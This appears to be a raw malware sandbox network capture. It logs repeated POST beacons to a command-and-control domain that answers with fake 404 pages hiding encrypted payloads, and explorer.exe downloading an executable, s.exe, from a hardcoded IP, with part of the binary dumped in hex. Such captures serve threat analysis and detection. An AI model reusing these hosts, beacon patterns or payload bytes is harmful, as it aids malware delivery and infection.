=TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=8kw0BRAlpg}&]fsBU.?i?ran.>Wiq-#k
Nov 3, 2022 12:46:56.162476063 CET	3903	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qtvcgbfk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: starvestitibo.org
Nov 3, 2022 12:46:56.229592085 CET	3904	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Nov 3, 2022 12:46:56.397167921 CET	3905	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gafgylgoi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 287 Host: starvestitibo.org
Nov 3, 2022 12:46:56.464674950 CET	3907	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 66 61 30 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 c1 56 26 40 d8 c9 30 29 74 99 cb e5 a8 0a 17 26 33 98 b4 07 5c 34 fa 2f a0 2c 28 a4 10 fa 11 e6 a8 63 2a 90 25 d2 75 91 d3 25 9d e9 9e f8 73 2b 48 bd 1f aa 74 ab 1f fd 6a 18 dc 08 89 73 f9 96 51 c3 e0 73 92 3b 6f 80 36 f8 37 33 a3 98 3b 05 ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 15 a8 44 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d ef 53 2b e5 67 9b 7b 7e 45 f7 ff 8e 19 55 db c4 1d 13 13 bf 1e e3 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d 40 54 19 e0 28 95 a9 c3 93 f0 96 bc 25 51 e1 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 f6 8b 32 6c 79 7c 0a 8d c7 7d fe 0e b4 a8 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 d7 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 e7 72 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 1d ad ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 57 d4 13 51 8c 60 17 4b 81 8d de 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 22 08 09 ee c3 ce 55 a3 4c ff 87 1f d4 b6 69 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a dd a7 7f 74 79 d0 77 43 cc fd 8b 8b e1 ae 7e d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 87 c7 2a 77 33 c3 00 45 51 96 25 0d 1e eb 67 f9 dd 32 ee fe 61 1a a9 01 fd cc 59 c5 d5 f5 ac d6 a6 a9 7d 20 b5 58 ce dd bf 67 28 02 19 62 30 99 99 f8 00 6e 53 c5 11 72 a8 46 f5 ae 8a ac 28 fb 5c 4c 23 40 d4 2a 6e 02 27 27 04 81 97 e7 e2 56 38 43 b5 Data Ascii: 1ffa0`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGV&@0)t&3\4/,(c%u%s+HtjsQs;o673;p"XJcb>Y ZD[V?#B7PRS+g{~EU$a\|l~_Dz@T(%Q.\|8HkJ{/a]F42ly\|}~qhJO;yLuV)n#u1yr+Lcr<'i3FHUhU@Wd{9f(B@wXdWQ`K^NTUOIL/T"ULi),^[}_>tywC~+z(F_zk7 RH:M?~Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=w3EQ%g2aY} Xg(b0nSrF(\L#@n''V8C
Nov 3, 2022 12:46:57.322535992 CET	4251	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nmqtq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: starvestitibo.org
Nov 3, 2022 12:46:57.389465094 CET	4251	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Nov 3, 2022 12:46:57.495071888 CET	4252	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ejmdi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 345 Host: starvestitibo.org
Nov 3, 2022 12:46:57.562592983 CET	4253	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:46:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 66 61 30 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 c1 56 26 40 d8 c9 30 29 74 99 cb e5 a8 0a 17 26 33 98 b4 07 5c 34 fa 2f a0 2c 28 a4 10 fa 11 e6 a8 63 2a 90 25 d2 75 91 d3 25 9d e9 9e f8 73 2b 48 bd 1f aa 74 ab 1f fd 6a 18 dc 08 89 73 f9 96 51 c3 e0 73 92 3b 6f 80 36 f8 37 33 a3 98 3b 05 ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 3b 00 4b 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d ef 53 2b e5 cf 9c 7b 7e 45 f7 ff 8e 19 55 db c4 1d 13 13 bf 1e e3 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d b0 6f 19 e0 28 95 a9 e6 13 f9 96 bc 25 51 e0 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 f6 8b 32 6c 79 7c 0a 8d c7 2d c4 0e b4 a8 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 d7 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 e7 72 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 1d ad ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 57 d4 13 51 8c 60 17 4b 81 8d de 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 82 b5 0f ee c3 ce 55 a3 4c 2b 8c 1f d4 b6 69 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a dd a7 7f 74 79 80 4d 43 cc fd 8b 8b e1 42 71 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 87 c7 2a 77 33 c3 00 45 51 96 25 0d 1e eb 67 f9 dd 32 ee fe 61 1a a9 01 fd cc 59 c5 d5 f5 ac d6 a6 a9 7d 20 b5 58 ce dd bf 67 28 02 19 62 30 99 99 f8 00 6e 53 c5 11 72 a8 46 f5 ae 8a ac 28 fb 5c 4c 23 40 d4 2a 6e 02 27 27 04 81 97 e7 e2 56 38 43 b5 Data Ascii: 1ffa0`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGV&@0)t&3\4/,(c%u%s+HtjsQs;o673;p"XJcb>Y Z;K[V?#B7PRS+{~EU$a\|l~_Dzo(%Q.\|8HkJ{/a]F42ly\|-~qhJO;yLuV)n#u1yr+Lcr<'i3FHUhU@Wd{9f(B@wXdWQ`K^NTUOIL/TUL+i),^[}_>tyMCBq+z(F_zk7 RH:M?~Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=w3EQ%g2aY} Xg(b0nSrF(\L#@n''V8C
Nov 3, 2022 12:47:00.778275967 CET	5027	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xnnhfx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 347 Host: starvestitibo.org
Nov 3, 2022 12:47:00.845273972 CET	5028	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:47:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
Nov 3, 2022 12:47:01.274183035 CET	5028	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xoeixqhnce.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: starvestitibo.org
Nov 3, 2022 12:47:01.341763020 CET	5029	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Nov 2022 11:47:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	49705	185.174.137.70	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 3, 2022 12:46:51.239510059 CET	795	OUT	GET /s.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.174.137.70
Nov 3, 2022 12:46:51.279234886 CET	796	IN	HTTP/1.1 200 OK Date: Thu, 03 Nov 2022 11:46:51 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 03 Nov 2022 11:37:55 GMT ETag: "34e00-5ec8f63652d4d" Accept-Ranges: bytes Content-Length: 216576 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1b ac 4c 86 5f cd 22 d5 5f cd 22 d5 5f cd 22 d5 41 9f b7 d5 42 cd 22 d5 41 9f a1 d5 dc cd 22 d5 78 0b 59 d5 58 cd 22 d5 5f cd 23 d5 ce cd 22 d5 41 9f a6 d5 6d cd 22 d5 41 9f b6 d5 5e cd 22 d5 41 9f b3 d5 5e cd 22 d5 52 69 63 68 5f cd 22 d5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 da 69 b0 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e6 01 00 00 24 17 00 00 00 00 00 16 95 00 00 00 10 00 00 00 00 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 10 19 00 00 04 00 00 2a 6d 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 e8 01 00 50 00 00 00 00 c0 18 00 10 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 24 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 88 e4 01 00 00 10 00 00 00 e6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 64 b1 16 00 00 00 02 00 00 20 01 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 43 00 00 00 c0 18 00 00 44 00 00 00 0a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$L_"_"_"AB"A"xYX"_#"Am"A^"A^"Rich_"PELia$@*mPChC@$.text `.datad @.rsrcCD@@
Nov 3, 2022 12:46:51.279263973 CET	797	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef 01 00 00 00 00 00 be ef 01 00 00 00 00 00 c4 ea 01 00 d0 ea 01 00 e6 ea 01 00 f6 ea 01 00 04 eb 01 00 Data Ascii: ":H`v.:P`p~.@Tf~
